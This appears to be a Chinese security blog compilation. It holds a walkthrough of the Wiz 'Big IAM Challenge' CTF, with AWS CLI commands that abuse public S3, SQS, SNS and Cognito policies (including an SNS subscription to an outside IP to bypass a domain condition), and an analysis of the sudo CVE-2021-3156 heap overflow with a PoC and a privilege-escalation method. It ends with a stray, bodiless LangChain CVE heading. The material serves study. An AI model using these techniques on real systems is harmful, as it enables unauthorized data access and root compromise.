IAM风险CTF挑战赛
wiz启动了一个名为“The Big IAM Challenge”云安全CTF挑战赛。旨在让白帽子识别和利用 IAM错误配置,并从现实场景中学习,从而更好的认识和了解IAM相关的风险。比赛包括6个场景,每个场景都专注于各种AWS服务中常见的IAM配置错误。 Challenge1: Buckets of Fun We all know that public buckets are risky. But can you find the flag? 查看提示获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",   //Effect(效果)设置为Allow(允许)           "Principal": "*",   //Principal(主体)是所有用户("*")           "Action": "s3:GetObject", //获取对象           "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*" //指定S3存储桶中的所有对象       },       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:ListBucket",   //列出存储桶           "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",             "Condition": {     //条件是通过前缀限制只能列出以"files/"为前缀的对象               "StringLike": {                   "s3:prefix": "files/*"               }           }       }   ] } 该策略允许任何用户列出"thebigiamchallenge-storage-9979f4b"存储桶中符合前缀条件"files/"的对象。该策略存在如下安全风险: 1、允许任何用户对指定的S3存储桶执行GetObject操作以获取对象的内容。 2、允许任何用户对指定的S3存储桶执行ListBucket操作列出存储桶中符合指定前缀条件的对象 解题思路: 针对s3存储桶权限校验不严格,列出桶资源对象并使用查看对象内容获取flag。 1、获取该存储桶中的对象 aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/ 得知files目录下存在flag1.txt文件,将其下载到本地,这里提示Read-only file system(只读文件系统)错误,权限问题,我们将其下载到/tmp目录下: aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt /tmp/flag.txt 另外也可以直接网络访问获取: http://s3.amazonaws.com/thebigiamchallenge-storage-9979f4b/files/flag1.txt 获得flag如下: {wiz:exposed-storage-risky-as-usual} Challenge2: We created our own analytics system specifically for this challenge. We think it's so good that we even used it on this page. What could go wrong? Join our queue and get the secret flag. 查看提示获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": "*",           "Action": [               "sqs:SendMessage",     //发送消息               "sqs:ReceiveMessage" //接收消息           ],           "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"       }   ] } 该IAM策略允许任何用户对特定的SQS队列执行SendMessage和ReceiveMessage操作,即发送和接收消息。该策略存在如下安全风险: 1、该策略将操作权限授予了所有用户("*"),意味着任何具有该策略的用户或角色都可以发送和接收消息。 2、该策略没有限制允许访问的用户、角色或其他条件。它允许所有用户执行SendMessage和ReceiveMessage操作。 解题思路: 针对授予特定SQS队列执行ReceiveMessage操作获取队列消息来查找flag。 1、接受消息队列中的信息 aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2 2、获取html文件内容 https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html 获得flag如下: {wiz:you-are-at-the-front-of-the-queue} Challenge3: Enable Push Notifications We got a message for you. Can you get it? 查看提示并获取本关的IAM策略如下: {   "Version": "2008-10-17",   "Id": "Statement1",   "Statement": [       {           "Sid": "Statement1",           "Effect": "Allow",           "Principal": {               "AWS": "*" //允许任何AWS用户           },           "Action": "SNS:Subscribe",       //订阅操作           "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",   //主题ARN           "Condition": {               "StringLike": {                   "sns:Endpoint": "*@tbic.wiz.io" //订阅条件               }           }       }   ] } 该策略允许任何AWS用户对指定的SNS主题(ARN为"arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications")进行订阅操作。订阅条件要求订阅者的Endpoint必须以"*@tbic.wiz.io"结尾。该策略存在如下风险: 全局访问权限:该策略中指定了允许任何AWS用户("*")执行SNS订阅操作。这意味着任何具有有效的AWS凭证的用户都可以订阅该SNS主题。如果此策略不是有意为特定用户或实体设计的,可能存在风险,因为未经授权的用户可以执行订阅操作。 通配符条件:该策略中的条件指定订阅者的Endpoint必须以"*@tbic.wiz.io"结尾。然而,通配符条件可能过于宽松,允许任何以该域名结尾的Endpoint进行订阅,包括未经授权的Endpoint。这可能导致未经授权的实体订阅主题并接收敏感信息或滥用SNS服务。 潜在的信息泄露:由于该策略允许任何人订阅主题,如果主题包含敏感信息或重要通知,可能会导致信息泄露的风险。攻击者可以订阅主题并接收敏感信息,甚至利用该信息进行其他恶意行为。 解题思路: 1、订阅SNS主题 在订阅时由于调阅条件的限制,先尝试将订阅消息发送到email邮箱账号,但是由于我们没有以@tbic.wiz.io为后缀的邮箱账号,因此需要对此处进行绕过。 AWS用户可以使用SNS:Subscribe操作订阅指定的SNS主题: aws sns subscribe --topic-arn <主题ARN> --protocol <协议> --notification-endpoint <订阅者Endpoint> <主题ARN>为实际的SNS主题ARN。所使用的协议有HTTP、HTTPS、Email、SMS等,订阅者的Endpoint具体根据策略中的条件要求。 对该题目设置SNS订阅: aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol email --notification-endpoint research@tbic.wiz.io 2、订阅条件限制绕过 尝试使用http协议进行代理监听的方式获取订阅消息: aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol http --notification-endpoint http://43.155.79.163:8443/@tbic.wiz.io 接收到来自sns的订阅确认,消息提示点击SubscribeURL确认订阅消息,等待一会即可接收到附带flag的订阅消息: 获取到flag如下: {wiz:always-suspect-asterisks} Challenge4: Admin only? We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it? 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:GetObject",           "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"       },       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:ListBucket",           "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",           "Condition": {               "StringLike": {                   "s3:prefix": "files/*"               },               "ForAllValues:StringLike": {                   "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"               }           }       }   ] } 该策略用于定义对 Amazon S3 存储桶的访问权限。其中包含了两个声明(Statement): 1、声明一允许任何用户存储桶执行GetObject操作,访问thebigiamchallenge-admin-storage-abf1321的s3储存桶资源。 2、声明二允许任何用户对S3存储桶执行ListBucket操作,列出存储桶中的对象。该声明有一个约束条件限制请求中的后缀必须以"files/" 开头,并且访问资源的主体是arn:aws:iam::133713371337:user/admin。 解题思路: 看到声明二中限制的访问资源主体是arn:aws:iam::133713371337:user/admin,便想着如何获取到该用户的凭据,然而在目前的环境中翻遍了各种配置文件和脚本文件都未发现相关凭据泄露,且当下凭据不能用于该访问主体。随后转变思路利用GetObject操作无限制进行目录Fuzz,Fuzz出如下路径: /thebigiamchallenge-admin-storage-abf1321/files/   /thebigiamchallenge-admin-storage-abf1321/files/cache/ /thebigiamchallenge-admin-storage-abf1321/files/tmp/ https://s3.amazonaws.com/thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt 然后再深一次Fuzz,仍无flag相关结果,最终经瑞幸楼少提醒,发现了如下参数的妙用: --no-sign-request 该参数可以用来执行无需身份验证的请求。使用该参数可以跳过对请求进行签名和身份验证的步骤,从而可以在某些情况下执行不需要验证的操作。 aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt /tmp/flag4.txt 获得flag如下: {wiz:principal-arn-is-not-what-you-think} Challenge5: Do I know you? We configured AWS Cognito as our main identity provider. Let's hope we didn't make any mistakes. 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Sid": "VisualEditor0",           "Effect": "Allow",           "Action": [               "mobileanalytics:PutEvents",               "cognito-sync:*"           ],           "Resource": "*"       },       {           "Sid": "VisualEditor1",           "Effect": "Allow",           "Action": [               "s3:GetObject",               "s3:ListBucket"           ],           "Resource": [               "arn:aws:s3:::wiz-privatefiles",               "arn:aws:s3:::wiz-privatefiles/*"           ]       }   ] } https://wiz-privatefiles.s3.amazonaws.com/ https://s3.amazonaws.com/wiz-privatefiles/ https://wiz-privatefiles.s3.amazonaws.com/soap/ 如上策略有两个声明,VisualEditor0声明允许向MobileAnalytics服务发送事件数据以及对Cognito Sync服务执行任何操作,且对这两个服务中的所有资源都可以操作。VisualEditor1声明允许执行GetObject和ListBucket两个操作,来获取wiz-privatefiles存储桶中的对象并列出存储桶中的内容。 解题思路: 根据题目提示得知AWS Cognito服务为主要身份提供商,问题大概率出现在此处,通过搜索AWS Cognito配置错误看到一篇文章: https://www.wangan.com/p/7fy7f8abba5c0234       //通过错误配置的AWS Cognito接管AWS帐户 结合该思路我们首先需要获取到该AWS Cognito服务的identity_pool_id: 梳理下常见的获取identity_pool_id方法: 1、通过应用程序代码查找使用Cognito的部分,并寻找可能存在identity_pool_id的位置,通常在一些JS文件或者接口中可能存在。 2、通过监控分析网络流量分析捕获应用程序与Cognito之间的通信。在捕获的网络流量中,搜索包含 identity_pool_id 的请求或响应。 3、通过搜寻查找一些配置文件或环境变量及启动脚本等获取Cognito相关的配置信息。 4、通过分析应用程序日志,查找 identity_pool_id 的信息。有时日志文件会记录与身份池相关的操作或配置。 5、通过aws控制台或CLI命令行获取identity_pool_id,前提是需要有一定权限。 结合文章思路在前端页面获取到IdentityPoolId: AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"}); 获取到identity_pool_id通过脚本再获取AK密钥进行配置: 由于当前云终端权限限制的问题,改用本地进行配置及后续操作: aws configure aws configure set aws_access_key_id aws configure set aws_secret_access_key aws configure set aws_session_token "" 获取到Flag如下: {wiz:incognito-is-always-suspicious} Challenge6: One final push Anonymous access no more. Let's see what can you do now. Now try it with the authenticated role: arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": {               "Federated": "cognito-identity.amazonaws.com"           },           "Action": "sts:AssumeRoleWithWebIdentity",               "Condition": {               "StringEquals": {                   "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"               }           }       }   ] } 该策略用于定义IAM角色的信任关系,当cognito-identity身份服务进行Web身份验证时,可以使用STS的AssumeRoleWithWebIdentity操作请求临时凭证进行验证身份。此操作将验证来自cognito-identity身份服务的用户身份,并根据策略规定的条件和权限,为该用户生成一组临时凭证。这些临时凭证具有一定的时效性,可用于对 AWS 资源进行访问。 解题思路: 题目中提示不再有匿名访问且需要使用身份aws:iam::092297851374:role/Cognito_s3accessAuth_Role进行操作,策略信息也指明了cognito-identity验证中的aud必须是identity_pool_id为us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b。思路如下: 1、获取身份标识符identity-id aws cognito-identity get-id --identity-pool-id "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b" 2、获取对应身份标识的令牌token aws cognito-identity get-open-id-token --identity-id 获取到的identity-id 3、使用获取到的身份验证令牌指定目标角色来获取临时访问凭证 aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name 自定义session名称 --web-identity-token 获取到的token令牌 4、根据获取到的AK密钥配置并获取flag aws s3 ls aws s3 ls s3://wiz-privatefiles-x1000 aws s3 cp s3://wiz-privatefiles-x1000/flag2.txt - 获取到flag如下: {wiz:open-sesame-or-shell-i-say-openid}
Sudo堆溢出漏洞(CVE-2021-3156)复现
背景介绍 2021 年 1 月 26 日,Qualys Research Labs在 sudo 发现了一个缺陷。sudo 解析命令行参数的方式时,错误的判断了截断符,从而导致攻击者可以恶意构造载荷,使得sudo发生堆溢出,该漏洞在配合环境变量等分配堆以及释放堆的原语下,可以致使本地提权。 环境搭建 环境版本 • ubuntu 20.04 • sudo-1.8.31p2 采用下述命令进行编译安装 cd ./sudo-SUDO_1_8_31p2 mkdir build ./configure --prefix=/home/pwn/sudo CFLAGS=”-O0 -g" make && make install 漏洞验证 #poc ./sudoedit -s '\' 11111111111111111111111111111111111111111111111111111111111111111111 执行上述POC执行sudoedit会出现malloc():invalid size的字样,这是典型的堆溢出后导致的异常。 漏洞分析 源码分析 set_cmnd函数 File: plugins\sudoers\sudoers.c 800: static int 801: set_cmnd(void) 802: {   ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 845: 846: /* set user_args */ 847: if (NewArgc > 1) { 848:    char *to, *from, **av; 849:    size_t size, n; 850: 851:    /* Alloc and build up user_args. */ 852:    for (size = 0, av = NewArgv + 1; *av; av++) //遍历每一个参数 853: size += strlen(*av) + 1; //计算每一个参数的长度 854:    if (size == 0 || (user_args = malloc(size)) == NULL) { //通过malloc动态分配一段内存,用于存放参数内容 855: sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); 856: debug_return_int(-1); 857:   } 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 859: /* 860: * When running a command via a shell, the sudo front-end 861: * escapes potential meta chars. We unescape non-spaces 862: * for sudoers matching and logging purposes. 863: */ 864: for (to = user_args, av = NewArgv + 1; (from = *av); av++) { //遍历每个环境变量,并将内容拷贝到内存中 865:    while (*from) {   /*   漏洞点,当扫描参数内容时,遇到\需要进行转义处理,例如'\t'、'\n'等,因此sudo只判断\后是否跟随着空格字符,即用isspace函数进行判 断。   isspace包括的字符如下:   ' '     (0x20)   space (SPC) 空格符 '\t'   (0x09)   horizontal tab (TAB) 水平制表符     '\n'   (0x0a)   newline (LF) 换行符 '\v'   (0x0b)   vertical tab (VT) 垂直制表符 '\f'   (0x0c)   feed (FF) 换页符 '\r'   (0x0d)   carriage return (CR) 回车符 以上不包括'\0'。 而参数之间是使用'\0'作为分隔符的,因此当'\\'后跟随的'\0'会使得from++从而导致将后一个参数也被拷贝进来,最后致使堆块溢出。   */ 866: if (from[0] == '\\' && !isspace((unsigned char)from[1])) 867:    from++; 868: *to++ = *from++; 869:   } 870:    *to++ = ' '; 871: } 872: *--to = '\0'; 使用POC的例子对漏洞进行说明 漏洞原理图 因此漏洞点在于在进入set_cmnd函数时需要对转义字符进行转义,但是函数却没有判断转义字符作为参数末尾的情况,即\ + \x00 parse_args函数 parse_args函数用于反转义,即参数中若存在转义字符,会在每个转义字符之前增加一个\ File: src\parse_args.c 592:     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //需要满足标志位的设置才会进入反转义流程 593: char **av, *cmnd = NULL; 594: int ac = 1; 595: 596: if (argc != 0) { 597:    /* shell -c "command" */ 598:    char *src, *dst; 599:    size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) + 600: strlen(argv[argc - 1]) + 1; 601: 602:    cmnd = dst = reallocarray(NULL, cmnd_size, 2); 603:    if (cmnd == NULL) 604: sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory")); 605:    if (!gc_add(GC_PTR, cmnd)) 606: exit(1); 607: 608:    for (av = argv; *av != NULL; av++) { 609: for (src = *av; *src != '\0'; src++) { 610:    /* quote potential meta characters */ 611:    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '#39;) 612: *dst++ = '\\'; 613:    *dst++ = *src; 614: } 615: *dst++ = ' '; 616:   } 617:    if (cmnd != dst) 618: dst--;  /* replace last space with a NUL */ 619:    *dst = '\0'; 620: 621:    ac += 2; /* -c cmnd */ 622: } 这也是为什么set_cmnd函数需要对参数进行转义,因此若先经过parse_args函数进行反转义,后经过set_cmnd函数进行转义,那么sudo是不会出现漏洞情况的 绕过检验 那么如何绕过set_cmnd函数直接进入parse_args函数,才是漏洞能够被成功触发的关键因素 首先是如何才能过进入set_cmnd函数,sudo会经过两重检测 sudo_mode需要具有MODE_RUN、MODE_EDIT或者MODE_CHECK的标志位 sudo_mode需要具有MODE_SHELL或者MODE_LOGIN_SHELL的标志位 File: plugins\sudoers\sudoers.c ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 想要获得MODE_SHELL的标志位,则需要设置-s参数,此时通过 SET(flags, MODE_SHELL),将flag设置上MODE_SHELL,并且默认的mode是为NULL,因此设置-s参数可以使得flag即设置MODE_SHELL又设置MODE_RUN。 File: src\parse_args.c 479: case 's': 480:    sudo_settings[ARG_USER_SHELL].value = "true"; 481:    SET(flags, MODE_SHELL); 482:    break; ... 534: if (!mode) 535:    mode = MODE_RUN; /* running a command */ 536:     } 但是若使用sudo -s,那么就会导致flag即设置MODE_SHELL又设置MODE_RUN,就会进入parse_args函数的流程,该流程会把所有非字母数字的字符前方增加一个'\',那么就会导致我们无法构造'' + '\x00'的漏洞字符,因此想要漏洞利用成功,我们不需要程序进入set_cmd函数,但是不能进入parse_args函数 File: src\parse_args.c 592:     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //需要满足标志位的设置才会进入反转义流程   ... 608:    for (av = argv; *av != NULL; av++) { 609: for (src = *av; *src != '\0'; src++) { 610:    /* quote potential meta characters */ 611:    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '#39;) 612: *dst++ = '\\'; 613:    *dst++ = *src; 614: }   ... 622: } 在parse_args函数的开头,会检测是以sudo还是以sudoedit进行调用,若使用sudoedit调用,那么会直接给mode设置上MODE_EDIT,从而绕过了mode==NULL时,需要将flag设置为MODE_RUN,因此使用sudoedit -s,可以使得flag即设置MODE_EDIT又设置MODE_SHELL File: src\parse_args.c   ... 265:     proglen = strlen(progname); 266:     if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) { 267: progname = "sudoedit"; 268: mode = MODE_EDIT; 269: sudo_settings[ARG_SUDOEDIT].value = "true"; 270:     } 想要进入set_cmnd第二条路径就是flag设置为MODE_EDIT | MODE_SHELL,这样的输入就能够绕过parse_args函数而禁止进入set_cmd函数,这也是为什么sudo的堆溢出,需要使用sudoedit -s触发,而不是sudo -s File: plugins\sudoers\sudoers.c ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 漏洞利用 漏洞利用分析 由于程序存在一个明显的堆溢出漏洞,因此需要梳理一下堆溢出如何进行利用。 • 找到一个堆块,该堆块的值会影响程序执行的流程,这里称之为可利用堆块。 • 找到可以随意控制堆块位置的操作,将漏洞函数申请的堆块部署在可利用堆块的上方,当堆溢出触发时,可以将可利用堆块的值被改写成我们预期的值。 可利用堆块 nss是用于解析和获取不同类型的名称信息,例如如何通过用名称去获取用户信息,在sudo需要获取用户信息时则需要调用nss。 在使用nss去获取信息时,其实是通过不同的动态链接库去执行相应的行为,而这些库的文件名则存在于/etc/nsswitch.conf的配置文件中 例如想要查询passwd文件则需要用到libnss_files.so与libnss_systemed.so 那么如何加载这些动态链接库则需要依赖于nss_load_library函数,而且这些相关信息都被存放在service_user结构体中,而该结构体是存放在堆内存中的。 接着得先研究该结构体的值是否会影响程序的执行流程,代码如下。 File: nsswitch.c 327: static int 328: nss_load_library (service_user *ni) 329: { 330:   if (ni->library == NULL) 331:     { 332:       /* This service has not yet been used. Fetch the service 333: library for it, creating a new one if need be. If there 334: is no service table from the file, this static variable 335: holds the head of the service_library list made from the 336: default configuration. */ 337:       static name_database default_table; 338:       ni->library = nss_new_service (service_table ?: &default_table, 339:     ni->name); //若ni->library的值为NULL,那么就会新建一个ni->library并将成员都进行初始化 340:       if (ni->library == NULL) 341: return -1; 342:     } 343: 344:   if (ni->library->lib_handle == NULL) //由于ni->library刚新建,因此ni->library->lib_handle必定为NULL 345:     { 346:       /* Load the shared library. */ 347:       size_t shlen = (7 + strlen (ni->name) + 3 348:      + strlen (__nss_shlib_revision) + 1); 349:       int saved_errno = errno; 350:       char shlib_name[shlen]; 351: 352:       /* Construct shared object name. */ 353:       __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, 354:      "libnss_"), 355:    ni->name), 356:  ".so"), //shalib_name是根据拼接得到 357: __nss_shlib_revision); 358: 359:       ni->library->lib_handle = __libc_dlopen (shlib_name); //加载动态链接库 上述代码有个非常关键的点在于,程序会使用__libc_dlopen打开shalib_name指定的动态链接库,而shalib_name是通过ni->name进行一系列的拼接得到,而ni->name则是存放在结构体service_user *ni中的,该结构体又是存放在堆内存中的。那么我们就找到了关键的值ni->name,它是能够完成修改程序执行流程的关键变量。 举个例子,例如我们将ni->name修改为X/test,那么最后拼接的结果会得到libnss_X/test.so,那么如果我们在当前目录下新建一个libnss_X并且在该目录中创建一个test.so的动态链接库,那么sudo就会加载并执行我们动态链接库中的代码。至此我们找到利用的第一个关键因素,可利用堆块。 布置堆块的操作 由于我们已经找到了可利用的堆块,如果能够将堆溢出的堆块部署在可利用堆块的上方,在利用堆溢出修改ni->name,即可完成任意代码执行的效果。 在sudo的main函数中,会执行setlocate函数。setlocale 是一个用于设置程序的区域设置(locale)的函数,在许多编程语言和操作系统中都有对应的实现。 区域设置是指程序在运行时所采用的语言、地区、日期格式、货币符号等相关信息的集合。通过设置区域设置,程序可以根据不同的地区和语言环境来适应本地化需求。 export LC_ALL=en_US.UTF-8@XXXX 而在setlocal函数中涉及十分多的堆块分配与释放的操作,当调用setlocal(LC_ALL,"")时,程序会通过环境变量设置的值去搜索区域设置的值,而环境变量的搜索则依靠_nl_find_locale函数。 _nl_find_locale函数 File: locale\findlocale.c 101: struct __locale_data * 102: _nl_find_locale (const char *locale_path, size_t locale_path_len, 103: int category, const char **name) 104: {   ... 184:   /* LOCALE can consist of up to four recognized parts for the XPG syntax: 185: 186: language[_territory[.codeset]][@modifier] 187: 188:     Beside the first all of them are allowed to be missing. If the 189:     full specified locale is not found, the less specific one are 190:     looked for. The various part will be stripped off according to 191:     the following order: 192: (1) codeset 193: (2) normalized codeset 194: (3) territory 195: (4) modifier 196:   */       /*       区域的格式为C_en_US.UTF-8@XXXXXX       _nl_explode_name用于判断(1)(2)(3)(4)哪部分存在,哪部分缺失       */ 197:   mask = _nl_explode_name (loc_name, &language, &modifier, &territory, 198:   &codeset, &normalized_codeset); 199:   if (mask == -1) 200:     /* Memory allocate problem. */ 201:     return NULL; 202:   //locale_file则给区域设置进行动态内存的分配 205:   locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], 206:    locale_path, locale_path_len, mask, 207:    language, territory, codeset, 208:    normalized_codeset, modifier, 209:    _nl_category_names_get (category), 0); //返回NULL 210: 211:   if (locale_file == NULL) 212:     { 213:       /* Find status record for addressed locale file. We have to search 214: through all directories in the locale path. */ 215:       locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], 216: locale_path, locale_path_len, mask, 217: language, territory, codeset, 218: normalized_codeset, modifier, 219: _nl_category_names_get (category), 1); 220:       if (locale_file == NULL) 221: /* This means we are out of core. */ 222: return NULL; 223:     } } _nl_make_l10nflist**函数** _nl_make_l10nflist会根据我们传入的值进行堆块的分配。 File: intl\l10nflist.c 150: struct loaded_l10nfile * 151: _nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list, 152:    const char *dirlist, size_t dirlist_len, 153:    int mask, const char *language, const char *territory, 154:    const char *codeset, const char *normalized_codeset, 155:    const char *modifier, 156:    const char *filename, int do_allocate) 157: {   ... 165:   //根据我们传入的区域值的长度进行动态分配 166:   abs_filename = (char *) malloc (dirlist_len 167:  + strlen (language) 168:  + ((mask & XPG_TERRITORY) != 0 169:     ? strlen (territory) + 1 : 0) 170:  + ((mask & XPG_CODESET) != 0 171:     ? strlen (codeset) + 1 : 0) 172:  + ((mask & XPG_NORM_CODESET) != 0 173:     ? strlen (normalized_codeset) + 1 : 0) 174:  + ((mask & XPG_MODIFIER) != 0 175:     ? strlen (modifier) + 1 : 0) 176:  + 1 + strlen (filename) + 1); 177:   ... 292: } setlocale**函数** setlocale函数总体操作则是读取环境变量的值获取区域设置的值,根据区域设置的值分配堆块大小,若其中存在不符合区域值的规范,则会将所有先前申请的堆块都释放掉。 File: locale\setlocale.c 334:       while (category-- > 0) 335: if (category != LC_ALL) 336: {   //通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中 337:    newdata[category] = _nl_find_locale (locale_path, locale_path_len, 338: category, 339: &newnames[category]); 340: ... 364: else 365: {   //使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去 366:    newnames[category] = __strdup (newnames[category]); 367:    if (newnames[category] == NULL) 368:      break; 369: }   ... 393:  if (category != LC_ALL && newnames[category] != _nl_C_name 394:      && newnames[category] != _nl_global_locale.__names[category]) 395:    free ((char *) newnames[category]); //这里就是堆块释放的原语了,只要有一个区域设置的值不符合规范,则将之前所有申请的堆块都释放掉 因此可以通过区域值去控制堆块的大小,接着在最后设置一个错误的区域值去控制堆块的位置,至此我们找到可控制堆块的操作。 LC_IDENTIFICATION = C.UTF-8@XX..XX #若长度为0x10,则malloc(0x10) LC_MEASUREMENT = C.UTF-8@XX..XXX,#若长度为0X20,则malloc(0x20) LC_TELEPHONE = XXXX #不符合区域值的规范,则会调用free() exp的分析 由于我们需要控制server_user的堆块,因此需要知道该堆块的大小为多少,通过调试可知是0x40的堆块,因此利用setlocate多释放几个0x40的堆块,那么server_user就会使用到我们所释放的堆块。 紧接着将漏洞堆块分配到server_user堆块的上方,由于server_user的堆块是我们自己构建的,因此只需要在释放该堆块的同时也释放漏洞堆块即可,并且漏洞堆块的申请可是根据参数的长度所设置的 将设置区域值的函数设置为堆块分配与释放的原语,使用@后面的字符控制堆块的大小 使用错误的区域值进行堆块的释放 最后就是如何填充到可利用堆块,这里使用堆溢出,并且在环境变量中构造填充字符串,使得漏洞堆块可以覆盖掉可利用堆块的内容值,但这里需要注意的是,我们需要将ni->library中用\x00填充,而\x00是无法直接输入到环境变量中的,因此需要再次观察漏洞函数是如何拷贝字符的。根据代码分析可知,只要''后紧跟着'\x00',那么我们就能将\x00的值直接拷贝的堆内存中。紧接着将ni->name修改为我们认为构造的动态链接库即可。 File: plugins\sudoers\sudoers.c 866: if (from[0] == '\\' && !isspace((unsigned char)from[1])) //若 '\' 后跟着'\x00' 867:    from++; //此时from会指向\x00 868: *to++ = *from++; //使用\x00进行值的拷贝 869:   } 设置多个环境变量使得内存存在多个'' + '\x00',从而使用'\x00'去覆盖堆的内存值。 演示效果如下 漏洞修复 漏洞的修复则是将MODE_EDIT的标志位进行了额外的判断,并且在''后面增加了对'\0'的校验 --- a/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700 +++ b/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700 @@ -547,7 +547,7 @@     /* If run as root with SUDO_USER set, set sudo_user.pw to that user. */     /* XXX - causes confusion when root is not listed in sudoers */ -    if (sudo_mode & (MODE_RUN | MODE_EDIT) && prev_user != NULL) { +    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT) && prev_user != NULL) { if (user_uid == 0 && strcmp(prev_user, "root") != 0) {    struct passwd *pw; @@ -932,8 +932,8 @@     if (user_cmnd == NULL) user_cmnd = NewArgv[0]; -    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { - if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) { +    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT|MODE_CHECK)) { + if (!ISSET(sudo_mode, MODE_EDIT)) { //对MODE_EDIT进行了额外的判断    const char *runchroot = user_runchroot;    if (runchroot == NULL && def_runchroot != NULL &&    strcmp(def_runchroot, "*") != 0) @@ -961,7 +961,8 @@ sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(NOT_FOUND_ERROR);   } -    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { +    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL) && +    ISSET(sudo_mode, MODE_RUN)) { //需要sudo -s才能进行转义 /* * When running a command via a shell, the sudo front-end * escapes potential meta chars. We unescape non-spaces @@ -969,10 +970,22 @@ */ for (to = user_args, av = NewArgv + 1; (from = *av); av++) {    while (*from) { - if (from[0] == '\\' && !isspace((unsigned char)from[1])) + if (from[0] == '\\' && from[1] != '\0' &&  //增加了'\0'的判断 + !isspace((unsigned char)from[1])) {    from++; + } + if (size - (to - user_args) < 1) { +    sudo_warnx(U_("internal error, %s overflow"), + __func__); +    debug_return_int(NOT_FOUND_ERROR); + } *to++ = *from++;   } +    if (size - (to - user_args) < 1) { + sudo_warnx(U_("internal error, %s overflow"), +    __func__); + debug_return_int(NOT_FOUND_ERROR); +   }    *to++ = ' '; } *--to = '\0'; 总结 Sudo堆溢出攻击流程 首先利用setlocate作为堆块分配与释放的原语,构造出适合的堆布局确保server_user堆块尽可能贴近漏洞代码开辟出来的堆块。 其次利用堆溢出将server_user堆块的ni->name值覆盖,覆盖的值为恶意构造的动态链接库名。 最后等待动态链接库被加载执行。 Sudo堆溢出利用的限制 由于sudo堆溢出依赖堆的布局,因此不同版本的sudo或者操作系统都会影响漏洞的利用。
LangChain 任意命令执行(CVE-2023-34541)
